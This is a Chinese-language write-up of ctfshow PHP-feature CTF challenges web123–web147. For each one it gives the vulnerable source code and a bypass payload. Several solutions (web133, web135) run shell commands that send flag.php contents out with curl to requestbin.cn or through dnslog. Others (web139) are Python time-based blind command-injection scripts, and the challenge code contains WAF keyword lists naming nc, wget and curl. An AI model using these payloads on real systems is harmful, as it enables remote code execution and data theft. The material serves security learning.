ctfshow-php特性(web123-web150plus)

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

按照要求CTF_SHOW和CTF_SHOW.COM 不能为空

于是post传参

CTF_SHOW=1&CTF_SHOW.COM=2

但是

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格(有的时候可以用+表示)、点、[ 则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

于是变为了CTF_SHOW=1&CTF[SHOW.COM=2

$c=$_post['fun']

fun为phpinfo() 不输出就是没执行phpinfo() 不知道什么原因 试试echo

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo 1 成功输出

那直接echo $flag即可

第二种方法

implode(get_defined_vars()) 

知识点:

1 如果一个变量为空 他不小于任何数

2 字符串与整数比较的时候 首先转换类型 整数和字符串比较 如果字符串首位不为数字 自会转换为0 字符串与字符串比较会逐个比较ascii 

3

使用传参传一个变量也是这个意思(?a=$b=1 这个传变量我测试了一下 感觉不对啊)

我就是举个例子和这道题没关

这个只是点有问题 记住这个问题就行 有异议 我说的不对 通过post应该无法给get的参数传值

太乱了反正就是经过我的测试 这第三个知识点全是错的  过了一个小时如果TZY=fun($_GET[1]) 这是个函数可以 但是需不需要eval 就不知道了

4 echo implode(get_included_files()) 

get_included_files() 返回目录下文件的路径 多个路径组成数组

implode函数将数组转换为字符串 从而可以让echo输出

getcwd 返回当前目录的绝对路径

get_defined_vars() 返回已有变量以及变量值组成的数组

5 eval 本质上是代码执行 所以就可以使用函数 然后使用echo输出返回值

web125

和上一题一样过滤了echo print var_dump等 输出 并且禁用了phpinfo() system()等函数

但是

第一种方法

var_export函数也能输出 和echo一个效果

第二种方法 高亮显示文件

GET:flag.php 

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

第三种方法

extract($_POST) 函数会将 $_POST 数组中的键值对解包为独立的变量,其中键名将成为变量名,键值将成为变量的值。

CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me

web126

<?php
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

又禁用了|g|i|f|c|o|d/

本来想着

GET:a=flag_give_me

POST:&fun=extract($_GET);$fl0g=$a

但是他禁用了分号 并且禁用了很多字母

然后想着

GET:?a[fl0g]=flag_give_me

POST:&fun=extract($_GET[a])

但是他禁用了c

extract换成parse_str

GET:?a=fl0g=flag_give_me

POST:&fun=parse_str($_GET[a])

但是他禁用了g

怎么实现呢?这道题用到了$a=$_SERVER['argv'];

server中的argv就是一个数组 从而$a也是一个数组

数组里面是什么呢 举个例子

GET:?123+456+fl0g=flag_give_me(这里不知道为什么%20不行必须用+ 难道是容易和我们的结合起来服务器分不清?比如被服务器识别为%204)

POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[2])

这个时候 $a[0]:123 $a[1]:456 $a[2]:fl0g=flag_give_me

+到服务器就变成了空格 可以理解+(空格)为分隔符

所以答案1为

GET:?123+456+fl0g=flag_give_me

POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[2])

答案2为

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

虽然assert() 函数用于检查一个表达式是否为真 但是一旦这个表达式为一个php语句 他也会执行

答案3为

GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

注意哦eval里面的语句要用分号哦

web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
}

逻辑没难点主要就是 $_SERVER['QUERY_STRING']会获取到什么 搜索发现

$_SERVER['QUERY_STRING'] 的结果就是url问号后面的部分 那这道题就简单了

知识点:点和空格还有[ 在变量名中是不可以存在的 到服务器会自动转换为下划线

还有一点大概率前端GET和POST中的+到服务器中就变为了空格 这个不一定 记住了就行

答案:?ctf show=ilove36d

第一点 虽然变量名中的_并且过滤了+ [ .  但是用最原始的空格即可或者%20 就能得到一个_

第二点 $_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码之前的字符串,所以对_进行一次url编码也能绕过。?ctf%5fshow=ilove36d

web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

考察的知识点

  • call_user_func($f1,$f2) 函数 执行后会得到$f1($f2) 如果$f2为空则$f1()
  • 因为check函数过滤了数字和字母导致$f1变得不可控 知识点:gettext是php唯一有符号别名的函数别名为_
  • _()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll  
  • gettext函数的作用就是原封不动的返回参数
  • get_defined_vars()函数返回所有已知的变量以及值 因为该文件已经包含了flag.php文件了$flag在本文件中也是能被get_defined_vars获取到的

所以答案为

?f1=_&f2=get_defined_vars

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

考察知识点

stripos()函数查找子串在字符串中首次出现的位置 返回首个下标位置stripos() 是大小写不敏感的

readfile()函数 读取指定文件到缓冲区中 使用echo进行输出

方法一

我们构建一个目录穿越

先说答案?f=/ctfshow/../../../../var/www/html/flag.php 或者 ?f=../ctfshow/../../www/html/flag.php

解释其中一个?f=../ctfshow/../../www/html/flag.php

在上级目录中找一个ctfshow的目录下的上一级目录 依旧是原始的上一级目录也就是www下 再上一级目录中就有www了

方法二

使用过滤器 f变量直接获取flag.php内容 因为flag.php中存在ctfshow字符串所以也能绕过第二个if 

然后readfile读取一下 再用echo输出

?f=php://filter/ctfshow/resource=flag.php 

但是 这个过滤器加上一个base64编码 为什么能被输出出来 是被echo输出的嘛

本地测试一下加密的 发现两个echo输出的都是过滤器的原始样子 不知道怎么绕过if的 然后测试不加密的发现 虽然我们包含的web319.php中根本没有ctfshow 依旧能绕过if 并且注释echo语句 这个过滤器就没用了什么都不输出了 看来过滤器能绕过该if判断呀

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

知识点

preg_match('/.+?ctfshow/is', $f) 就是匹配ctfshow的字符串 并且在该字符串之前要匹配一个或任意一个字符因为.+的存在(其中 . 匹配除了换行符以外的任意字符,+ 表示匹配一次或多次,? 表示非贪婪模式)这个非贪婪模式不用管

所以答案就是?f=ctfshow

数组也能绕过  ?f[]=任意字符

说实话这个数组绕过搜索后也不是很明白 就算报错返回false 那false依旧等于false 能执行if语句呀 为什么会绕过呢 我的理解是stripos因为数组的原因直接报错使得if语句直接就为false 经过我的测试发现我的理解是正确的 测试是我把false换为true 能绕过 去除===判断 依旧也能绕过

网上还有一种解释stripos应用于数组的时候会返回null null!==false/true 但if(null)会被认为语句不成立

stripos 匹配到了返回下标 没匹配到返回false 

0!==false

web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;

}

加入了将post中f转换为字符串的步骤 导致不能用上一题的数组绕过if语句了

两个if逻辑

第一个 匹配到ctfshow且最前面有任意一个字符 就会结束脚本

第二个 匹配不到36Dctfshow就会结束脚本

这样这个逻辑就范冲突了

如果f=ctfshow36Dctfshow 虽然绕过了第二个 但是第一个if语句就不会绕过

不能用正常想法去做这题

使用正则溢出 简单理解就是preg_match() 这个函数一但匹配大量字符串 他就不进行匹配了 直接返回false

如果超过100万个字符就能绕过该函数的匹配 直接返回false

专业解释是正则匹配中对回溯数和嵌套数进行了最大限制。这道题用到了最大回溯数(必须使用非贪婪模式?)

写个生成100万字符的脚本

<?php
$a=str_repeat('show',25000);
$b=$a.'36Dctfshow';
echo $b;

然后提交

web132

是一个页面 直接看教程

访问robots.txt  当前目录下存在一个admin


题在这里呢

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){  
        if($code == 'admin'){
            echo $flag;
        }  
    }
}

知识点

mt_rand(1,0x36D) 会生成1-877的随机整数

这道题考察点事 逻辑运算的执行顺序

if (a && b || c)

如果a b都为假 c为真 if语句也为真 因为有先后逻辑运算顺序

过程: a&&b=假  假||真=真 

所以只要传入code=admin username=admin 且password不为空即可

web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

最终目的要执行eval(substr($F,0,6)) 所以要让substr($F,0,6)返回我们需要获取flag的语句

shell_exec() 函数的输出结果仅作为函数的返回值,因此除非将其打印出来或者对其进行处理,否则不会直接在浏览器中输出shell_exec() 函数和反引号``一个意思  flag.php是多行,需要grep一下,其次不能含有特殊符号,所以tr设置一下返回结果只携带字母和数字

答案?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1

他截取完就变成了`$F`; == eval(shell_exec($F);)

因为$F 是`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1

所以就变成了

eval(shell_exec(`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1);)

但是不知道为什么我DNS没有外带出来和视频一模一样

这个

这个dnslog的问题 困扰了我和那就 现在是一个半月之后了

他截断 并且禁用了system 可以使用shell_exec 但是该函数没有回显 就使用外带 

这回没用dnslog 使用其他的两种方法 一种是vps 一种是requestbin 

这里有个很关键的问题使用这两种方法的时候 一次只能外带出一行数据 如果超过一行 什么数据都带不出来了

首先是requestbin方式外带

网站为:requestbin

先点击绿色的

显示了很多用法

我们不需要 直接使用curl http://requestbin.cn:80/1ddijp01 即可

本地尝试一下

刷新那个网站 就能获取到id=123 这个url中的 内容 这种方式其实是最简单的 使用vps监听也能达到该效果

演示结束

解释一下payload 这里面的+换成空格也可以 反正 不能和;挨着  跟截取6个字符有关 但是我感觉没啥影响呀 就算是挨着截取了 也没关系呀 难道是因为可能会报错?

过了一天发现应该就是报错所以第六个位置要用空格 例如 在php中 phpinfo();可以

phpinfo();q 就会报错虽然phpinfo依旧能执行 但是题目中使用嵌套 也就是说第一次的phpinfo是可以执行的 但是第二次是不可以执行的

?F=`$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag`

这个顺序其实是我理解的 可能不对 但是基本是对的

?F=`$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag`
截取变为
`$F`;+ 
继续执行变为
``$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag``;+ 
然后 继续执行
首先执行分号前 先替换 执行分号后curl语句

现在上面这一整句都在eval中 这个时候 按顺序先执行红色的 红色的执行完(依旧是替换)后 执行橙色的 进行curl执行 到达p=后 识别出``然后执行cat语句 这个时候必须在cat前后加入反引号  能成功识别为这是一个shell语句 否则?p获取的是字符串cat

查看flag 必须使用grep一行一行输出

第二种方法vps  同理 

vps也分两种 一种获取值 第二种方法监听端口

第一种监听端口

第二种获取值 curl.php文件内容接收值

还有第三种方法 python脚本爆破

import requests
import time as t  # as重命名

url  = 'http://1264c730-93a0-4f72-b5ee-103978fbc19f.challenge.ctf.show/?F=`$F%20`;'
alphabet = ['{','}', '.', '@', '-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = '' # 结果集
for i in range(1,50):  #位置的第几位
	for char in alphabet: #某位置的字符是什么
        # 终于知道为什么 明明知道flag名字为什么还要这么写 这么写可以一个一个判断字符是什么 因为没有回显 只能延时判断
		payload = "if [ `ls  | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
		# payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
		try:
			start = int(t.time())
			r = requests.get(url+payload)
			end = int(t.time()) - start
			if end >= 3:
				result += char
				print("Flag: "+result)
				break
		except Exception as e:
			print(e)

群主师傅的方法 dnslog 我的dnslog不行 大概原因是dnslog本身的dns设置 给我映射到本地127了  使用requestbin即可

以上所有外带方法获取值的时候大括号这个特殊符号获取不到 过了十分钟后 我发现为啥有些字符获取不到了 某些个别字符在url中是不解析的 比如大括号 也就是说 他确实是获取到了大括号 但是通过url传过来的时候 要输出的时候不会讲该字符进行输出

web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

答案 ?_POST[key1]=36d&_POST[key2]=36d

解释:考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d

web135

133加强版

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
  if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

第一种 
不用base64不行 当时不知道为什么 解码后发现是因为flag有两行 不是一行 超过一行带不出来数据
就算用base64 也会发现解码后不是完整的flag 数据也没带全这时 修改grepflag2即可
而且我发现如果不使用grep 确实能带出来 但是带出来的字节数应该有限制(记住限制就行) 

这里面过滤很多 只用'' "" / 都可以绕过限制
?F=`$F`; cur\l http://requestbin.cn:80/19wya6l1?p=`c\at flag.php|g\rep flag|b\ase64`

第二种
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;

第三种 群主大佬 依旧使用的是dnslog

这里说一下如果使用dnslog 一定要使用tr去除一下非法字符 在二级域名的位置如果有非法字符带不出来数据 但是使用requestbin的时候 虽然也是url的非法字符 但是其余字符都是可以带出来的

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

又是一个无回显的命令执行exec

使用ls / | tee 1 能将ls输出的内容 写入1文件中 访问1就能下载该文件

发现有个f149_15_h3r3文件 

?c=cat /f149_15_h3r3 | tee 2 访问2 下载查看 出现flag

web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

一个魔术方法 一个静态方法(不用实例化就能调用)

不用实例化直接用类访问方法的格式为 类名::方法名

所以单位ctfshow=ctfshow::getFlag

web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}
call_user_func($_POST['ctfshow']);

在上一题的基础了过滤了:冒号 另一种不需要实例化就能调用类方法的方式是

ctfshow[0]=ctfshow&ctfshow[1]=getFlag 就能演变成ctfshow.getFlag()

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

过滤了太多 和web136一模一样 但是用136的方法做不出来 估计是服务器给限制了 教程说需要命令盲注 exec是一个无回显的命令执行

利用web136的方法不行,没有写入权限了。
?c=ls;sleep 3确实等待了一会,可以执行,没有回显,命令盲注。
这个命令盲注就比较麻烦,因为限制了一些特殊字符,所以盲注的payload也需要注意

获取当前目录下文件名的python脚本(因为用到延迟函数 所以受网咯波动影响 多尝试几次 以防结果有问题)

import requests
# 指定提交的url
url = "http://5d6d11e6-5ef5-4602-b63c-6606b218cb3e.challenge.ctf.show/?c="
# 定义一个payload
payload= "if [ `ls / -1 | awk \"NR=={}\" | cut -c {}` == \"{}\" ];then sleep 4;fi "
# 定义一个字典
strings = "1234567890abcdefghijklmnopqrstuvwxyz_-}{"
row=5 # 控制哪一行的 会取 第一行 第二行 第三行
length = 10 # 控制长度的 每一行取几个字符
# 结果集合
result=""
# 三层循环 第一层控制行 第二层 控制位 第三层控制比较的字符
for r in range(1,row):
    for l in range(1,length):
        for s in strings:
            tj = url+payload.format(r,l,s)
            # 如果 提交的payload 延迟超过三秒 把当前字符加入到 结果集中 并退出当前比较字符的循环
            try:
                requests.get(tj,timeout=3)
            except:
                result+=s
                print(result)
                break
    # 每一行比较完成获得结果后 在结果后加入空格 好区分
    result+=" "

得出当前目录下的flag文件为2=f149_15_h3r3

payload解释 if [ `ls / -1 | awk \"NR=={}\" | cut -c {}` == \"{}\" ];then sleep 4;fi 

这是一个shell格式的脚本

ls / -1 能将结果分行显示  awk \"NR=={}\" 能选择指定行数 cut -c {} 能选择指定位数

为什么用反引号呢 反引号意思等于shell_exec 可以完成shell语句 将结果返回给if函数

最终结果被反引号 `...` 包裹,表示将这些命令的输出作为条件

然后和指定字符比较 如果比较成功 延迟4s

获取指定文件内容的脚本

import requests
# 指定提交的url
url = "http://2650b538-28df-4bbc-b8e5-542516a1a49c.challenge.ctf.show/?c="
# 定义一个payload
payload= "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi "
# 定义一个字典 为了方便这个payload构造一个简单的
strings = "ctfshow123456789}{-abdeghijklonpqrtuvwxyz"
row=5 # 控制哪一行的 会取 第一行 第二行 第三行
length = 48 # 控制长度的 每一行取几个字符
# 结果集合
result=""
# 三层循环 第一层控制行 第二层 控制位 第三层控制比较的字符
for l in range(1,length):
    for s in strings:
        tj = url+payload.format(l,s)
        # 如果 提交的payload 延迟超过三秒 把当前字符加入到 结果集中 并退出当前比较字符的循环
        try:
            requests.get(tj,timeout=4)
        except:
            result+=s
            print(result)
            break
    # 每一行比较完成获得结果后 在结果后加入空格 好区分
result+=" "

第二个脚本 有时间都要分析一下脚本

import requests

url = 'http://e37a25ed-4427-4353-87d1-b421f8107792.challenge.ctf.show/?c='
payload = '''if [ `cat /f149_15_h3r3 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi'''

max_NR = 2 # 假设最多1行
max_c = 50 # 假设一行最多49个字符
chars = 'ctfshow{0123456789abcdefg-}' # 可能出现的字符

for NR in range(1, max_NR): # 从第一行开始
    for c in range(1, max_c): # 从第一个字符开始
        for char in chars:
            try:
                requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码
            except:
                print(char, end = '') # 出现延迟输出字符
                break
    print()

这个flag前面基本没问题 最后两位获取的每次都不一样 难搞呀 过了一个月后继续尝试了一下 依旧不可以了 总有个别字符出问题 依旧是获取不到大括号 本来想着原因也是和133 135 一样 二级域名如果存在大括号根本带不出数据 但是url中存在大括号 大括号不会被输出出来 但是发现发现原因是因为

距离如果flag为ctfshow{123} {位置在8的位置 当l在8时 cut -c 8 的确获取到了{ 但是url中的if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi 在获取完{后 而 {在url中是非法字符 不显示 所以这个时候语句就为了if [ `cat /f149_15_h3r3 | cut -c 8` ==  ];then sleep 5;fi  所以就无法判断{是否存在

重新再说一下 就是if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi  语句是当做url带入到服务器中的 带入服务器前变为if [ `cat /f149_15_h3r3 | cut -c 8` == \"{\" ];then sleep 5;fi  但是通过url带入服务器后变味了if [ `cat /f149_15_h3r3 | cut -c 8` == \"\" ];then sleep 5;fi  大括号通过url后 因为是非法字符服务器不识别 直接就变没了 这个时候{和空比较 所以比较不成功

妈的真开心 4/1又过了5天上定制班课的时候 我用第二个脚本尝试了一下成功了 真他妈不容易呀

有时间要研究一下到底什么原因 难道是网速的原因 还是脚本本身的原因

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

接收连个参数f1和f2   通过正则匹配 字符串只能是数字和字母组成的且开头和结尾都是数字或字母

变量code的值为 f1(f2())的返回值 有个if的判断条件 必须保证 intval($code)与ctfshow相等 这是一个弱类型的比较 当数字与字符串比较时 会将字符串转换为0  intval函数会将字符串转换为0

这样只要让$code为一个字符串即可  其实让intval函数返回0即可

答案

system(system())的返回值是NULL   通过intval函数 返回值就为0 

system(phpinfo())也行 因为返回一个html的页面 开头肯定是一个<  通过整形转换也会变为0

usleep(usleep())无返回值 通过类型转换也是0

getdate(getdate())

getdate()返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。

web141

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

当传递一个值给 is_numeric() 函数时,它会判断该值是否可以被解释为数字。如果该值是数字或数字字符串(包括整数、浮点数或科学计数法表示的数值),则函数返回 true,否则返回 false

正则 表示$3完全由非单词字符组成才可以进入if语句

  • ^ 表示字符串的开头。
  • \W 表示非单词字符(即除了字母、数字和下划线之外的字符)。
  • + 表示前面的模式可以出现一次或多次。
  • $ 表示字符串的结尾。

最后执行代码 $v1$v3$v2  然后返回回值给$code

也就说需要使用无字母RCE

本来想着说是使用下划线代表函数 但是下划线也不能被\w的正则匹配到 且还需要在环境中开启扩展 那就以飞字母数字以及下划线的字符构造字母

$v1$v2$v3

1+phpinfo()+1; 是可以运行的 因为是进行字符串构造 我们还需要改一下

1+('phpinfo')()+1 这里的phpinfo是字符串 上面的不是字符串 我们只能造出字符串所以用这种方式

就用位运算生成一个 phpinfo的字符串 这里+要变成- 因为+在传参的时候容易被编码为空格

变成1 ('phpinfo')() 1 是不行的 虽然$1$2为数字。但是1-('phpinfo')()-1可以

额外话为什么说异或后的GET不能被解析 但是测试时用的get能被解析

简单理解就是测试的时候 双引号里面是一个整体 里面的被执行 如果这时候

那就不行了 同理异或出来的就是字符串了 

而且还有一个关键点就是有return  eval里面的必须用双引号引起来 否则报错 

代码流程就是 先通过return返回异或运算的结果 eval再去执行这个返回的结果 之所以能进行运算 就是因为return的原因(我测试过了)

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

太简单 0*任何数都为0

传参?v1=0 echo输出的file函数获取的信息 在源码中能查看到(ai搜索说是如果在源码才能看到 输出的内容包含了 HTML 标签或特殊字符 导致浏览器将内容解析成了 HTML 标签而不是直接显示)

web143

141pro版本

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

直接用yu师傅写的脚本 即可 在php脚本中更改一下生成的要求即可

生成payload

经过测试有的时候这个十六进制的可以不加引号 最好加上双引号以防报错

要记住减号换位乘号 因为在这题中过滤了减号

web144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
function check($str){
    return strlen($str)===1?true:false;
}

使用check函数判断v3 必须让v3的字符串长度等于1才可以

对v2进行了严格匹配 

那v1=1 v3=-即可 v2依旧使用执行2(同样也是异或方式)的脚本生成payload(yu师傅的php脚本总感觉哪里有问题  有的时候好事有的时候不好使 python脚本没问题 等有时间了再看看 分析一波)

得到flag

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

144的plus版本

加减乘除全屏蔽了 以及异或^也被屏蔽了

加减乘除可以用三元运算?: 

不使用异或的运算 使用取反

使用yu师傅脚本也可以

web146

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

三目运算符也不行了 用|符号也是可以的或运算符号

运算使用|也是可以的

web147

<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

这里说一下突然想起来的随便举个例子比如题中所说$ctfshow 如果ctfshow值为phpinfo(); 因为是字符串 不能执行 必须前面是eval才可以 eval('传的值') 这样才可以 重新说一下 传值都是字符串 但是'phpinfo'()可以 'phpinfo()'不可以(我本地试了 这是在本地的解释)

